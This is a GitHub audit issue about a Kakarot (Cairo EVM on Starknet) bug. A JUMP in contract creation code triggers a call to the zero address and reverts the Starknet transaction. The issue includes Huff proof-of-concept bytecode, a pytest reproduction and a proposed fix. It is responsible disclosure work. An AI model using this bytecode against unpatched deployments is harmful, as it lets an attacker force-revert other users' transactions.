Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump in creation code leads to reverting of the starknet transaction #44

Open
c4-bot-9 opened this issue Oct 25, 2024 · 3 comments
Open
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working downgraded by judge Judge downgraded the risk level of this issue edited-by-warden M-09 primary issue Highest quality submission among a set of duplicates 🤖_primary AI based primary recommendation 🤖_65_group AI based duplicate group recommendation selected for report This submission will be included/highlighted in the audit report sponsor confirmed Sponsor agrees this is a problem and intends to fix it (OK to use w/ "disagree with severity") sufficient quality report This report is of sufficient quality

Comments

@c4-bot-9
Copy link
Contributor

c4-bot-9 commented Oct 25, 2024

Lines of code

https://github.com/kkrt-labs/kakarot/blob/7411a5520e8a00be6f5243a50c160e66ad285563/src/kakarot/evm.cairo#L277
https://github.com/kkrt-labs/kakarot/blob/7411a5520e8a00be6f5243a50c160e66ad285563/src/kakarot/evm.cairo#L364

Vulnerability details

Impact

If the creation code consists of JUMP or JUMPI opcode for offset less than creation code length, then the starknet transaction reverts.

The evm.cairo::jump function is called whenever the JUMP or JUMPI opcode is executed. This function is as follows:

// @notice Update the program counter.
// @dev The program counter is updated to a given value. This is only ever called by JUMP or JUMPI.
// @param self The pointer to the execution context.
// @param new_pc_offset The value to update the program counter by.
// @return model.EVM* The pointer to the updated execution context.
func jump{syscall_ptr: felt*, pedersen_ptr: HashBuiltin*, range_check_ptr, state: model.State*}(
    self: model.EVM*, new_pc_offset: felt
) -> model.EVM* {
->  let out_of_range = is_nn(new_pc_offset - self.message.bytecode_len);
    if (out_of_range != FALSE) {
        let (revert_reason_len, revert_reason) = Errors.invalidJumpDestError();
        let evm = EVM.stop(self, revert_reason_len, revert_reason, Errors.EXCEPTIONAL_HALT);
        return evm;
    }

    let valid_jumpdests = self.message.valid_jumpdests;
    with valid_jumpdests {
->      let is_valid_jumpdest = Internals.is_valid_jumpdest(
            self.message.code_address, new_pc_offset
        );
    }

    // ...
}

It can be seen that, it checks for out_of_range which is new_pc_offset - self.message.bytecode_len. For the creation code, technically bytecode_length should be 0 but here, it will consist the length of the creation code. So, if the new_pc_offset is less than the creation code length, then this check would pass and then it checks for is_valid_jumpdest by calling evm.cairo::is_valid_jumpdest, which is as follows:

func is_valid_jumpdest{
    syscall_ptr: felt*,
    pedersen_ptr: HashBuiltin*,
    range_check_ptr,
    valid_jumpdests: DictAccess*,
    state: model.State*,
}(code_address: model.Address*, index: felt) -> felt {
    alloc_locals;
    let (is_cached) = dict_read{dict_ptr=valid_jumpdests}(index);
    if (is_cached != 0) {
        return TRUE;
    }

    // If the account was created in the same transaction,
    // a cache miss is an invalid jumpdest as all valid jumpdests were cached on deployment.
    let code_account = State.get_account(code_address.evm);
    if (code_account.created != 0) {
        return FALSE;
    }

->  let (is_valid) = IAccount.is_valid_jumpdest(code_address.starknet, index);
    dict_write{dict_ptr=valid_jumpdests}(index, is_valid);

    return is_valid;
}

Here, let (is_valid) = IAccount.is_valid_jumpdest(code_address.starknet, index); would revert the whole starknet transaction as it will call zero address which isn't IAccount contract. So any contract using CREATE or CREATE2 opcode will be vulnerable to this issue or if a contract makes a callback to another contract by making sure to only send limited gas and handle the revert case properly, the other contract can use CREATE or CREATE2 opcode to make the transaction revert forcefully.

Proof of Concept

Consider the following code:

#define macro MAIN() = takes(0) returns(0) {
    0x00
    jump
}

Save the above code in a file name creation_code.huff ( You can refer Installing Huff, if you don't have huff installed ).

The above code will jump to the offset 0 which is less than the creation code length ( i.e. 2 ).

The above code can be converted to bytecode using the following command:

huffc creation_code.huff --bytecode

The output will be:

60028060093d393df35f56

The runtime code is ( after removing the first few bytes which are responsible for deployment ):

5f56

Also, consider the following code:

#define macro MAIN() = takes(0) returns(0) {
    0x5f 0x00 mstore8 // store `PUSH0` opcode at memory offset 0
    0x56 0x01 mstore8 // store `JUMP` opcode at memory offset 1

    0x02 // size
    0x00 // offset
    0x00 // value
    create
}

Save the above code in a file name create.huff ( You can refer Installing Huff, if you don't have huff installed ).

The above code will jump to the offset 0 which is less than the creation code length ( i.e. 2 ).

The above code can be converted to bytecode using the following command:

huffc create.huff --bytecode

The output will be:

600e8060093d393df3605f5f53605660015360025f5ff0

The runtime code is ( after removing the first few bytes which are responsible for deployment ):

605f5f53605660015360025f5ff0

The create.huff would call CREATE opcode with creation code as 0x5f56 ( creation_code.huff ).

Now to to run the test, follow the below steps:

Add this file named test_kakarot_jump.py in kakarot/tests/end_to_end folder:

import pytest
import pytest_asyncio
from starknet_py.contract import Contract

from kakarot_scripts.utils.starknet import (
    get_contract,
)
from tests.utils.helpers import (
    generate_random_evm_address,
    hex_string_to_bytes_array,
)


@pytest.fixture(scope="session")
def evm(deployer):
    """
    Return a cached EVM contract.
    """
    return get_contract("EVM", provider=deployer)


@pytest_asyncio.fixture(scope="session")
async def origin(evm, max_fee):
    """
    Return a random EVM account to be used as origin.
    """
    evm_address = int(generate_random_evm_address(), 16)
    await evm.functions["deploy_account"].invoke_v1(evm_address, max_fee=max_fee)
    return evm_address


@pytest.mark.asyncio(scope="session")
class TestKakarot:
    async def test_execute_jump(
        self, evm: Contract, origin
    ):        
        params = {
                "value": 0,
                "code": "605f5f53605660015360025f5ff0", // create.huff
                "calldata": "",
                "stack": "0000000000000000000000000000000000000000000000000000000000000000",
                "memory": "",
                "return_data": "",
                "success": 1,
        }
        result = await evm.functions["evm_call"].call(
            origin=origin,
            value=int(params["value"]),
            bytecode=hex_string_to_bytes_array(params["code"]),
            calldata=hex_string_to_bytes_array(params["calldata"]),
            access_list=[],
        )
        print("result", result)
        assert result.success == params["success"]
    

You can run the test by:

# In one terminal
cd kakarot
make run-nodes

# In another terminal
cd kakarot
uv run deploy
uv run pytest -s "./tests/end_to_end/test_kakarot_jump.py::TestKakarot::test_execute_jump"

This test will throw error as follows:

starknet_py.net.client_errors.ClientError: Client failed with code 40. Message: Contract error. Data: {'revert_error': 'Error at pc=0:37:\nGot an exception while executing a hint: Requested contract address 0x0000000000000000000000000000000000000000000000000000000000000000 is not deployed.\nCairo traceback (most recent call last):\nUnknown location (pc=0:23874)\nUnknown location (pc=0:23829)\nUnknown location (pc=0:23287)\nUnknown location (pc=0:22784)\nUnknown location (pc=0:22784)\nUnknown location (pc=0:22784)\nUnknown location (pc=0:22784)\nUnknown location (pc=0:22784)\nUnknown location (pc=0:22784)\nUnknown location (pc=0:22784)\nUnknown location (pc=0:22784)\nUnknown location (pc=0:22784)\nUnknown location (pc=0:22784)\nUnknown location (pc=0:22784)\nUnknown location (pc=0:22782)\nUnknown location (pc=0:21980)\nUnknown location (pc=0:11433)\nUnknown location (pc=0:8999)\nUnknown location (pc=0:9120)\nUnknown location (pc=0:5232)\n'}

You can see the error Requested contract address 0x0000000000000000000000000000000000000000000000000000000000000000 is not deployed.

Tools Used

Python test suite

Recommended Mitigation Steps

For JUMP and JUMPI opcodes, there should be a check whether the current environment is running creation code or runtime code. If it's creation code then it should revert with invalid jump destination error.

Assessed type

Error

@c4-bot-9 c4-bot-9 added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Oct 25, 2024
c4-bot-10 added a commit that referenced this issue Oct 25, 2024
@c4-bot-11 c4-bot-11 added 🤖_65_group AI based duplicate group recommendation 🤖_primary AI based primary recommendation labels Oct 25, 2024
@howlbot-integration howlbot-integration bot added primary issue Highest quality submission among a set of duplicates sufficient quality report This report is of sufficient quality labels Oct 27, 2024
@ClementWalter
Copy link

Severity: Medium

Comment: Ok but assets are not directly at risks considering the tx will revert.

@ClementWalter ClementWalter added the sponsor confirmed Sponsor agrees this is a problem and intends to fix it (OK to use w/ "disagree with severity") label Nov 4, 2024
@c4-judge c4-judge added 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value downgraded by judge Judge downgraded the risk level of this issue and removed 3 (High Risk) Assets can be stolen/lost/compromised directly labels Nov 7, 2024
@c4-judge
Copy link
Contributor

c4-judge commented Nov 7, 2024

dmvt changed the severity to 2 (Med Risk)

@c4-judge c4-judge added the selected for report This submission will be included/highlighted in the audit report label Nov 7, 2024
@c4-judge
Copy link
Contributor

c4-judge commented Nov 7, 2024

dmvt marked the issue as selected for report

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working downgraded by judge Judge downgraded the risk level of this issue edited-by-warden M-09 primary issue Highest quality submission among a set of duplicates 🤖_primary AI based primary recommendation 🤖_65_group AI based duplicate group recommendation selected for report This submission will be included/highlighted in the audit report sponsor confirmed Sponsor agrees this is a problem and intends to fix it (OK to use w/ "disagree with severity") sufficient quality report This report is of sufficient quality
Projects
None yet
Development

No branches or pull requests

6 participants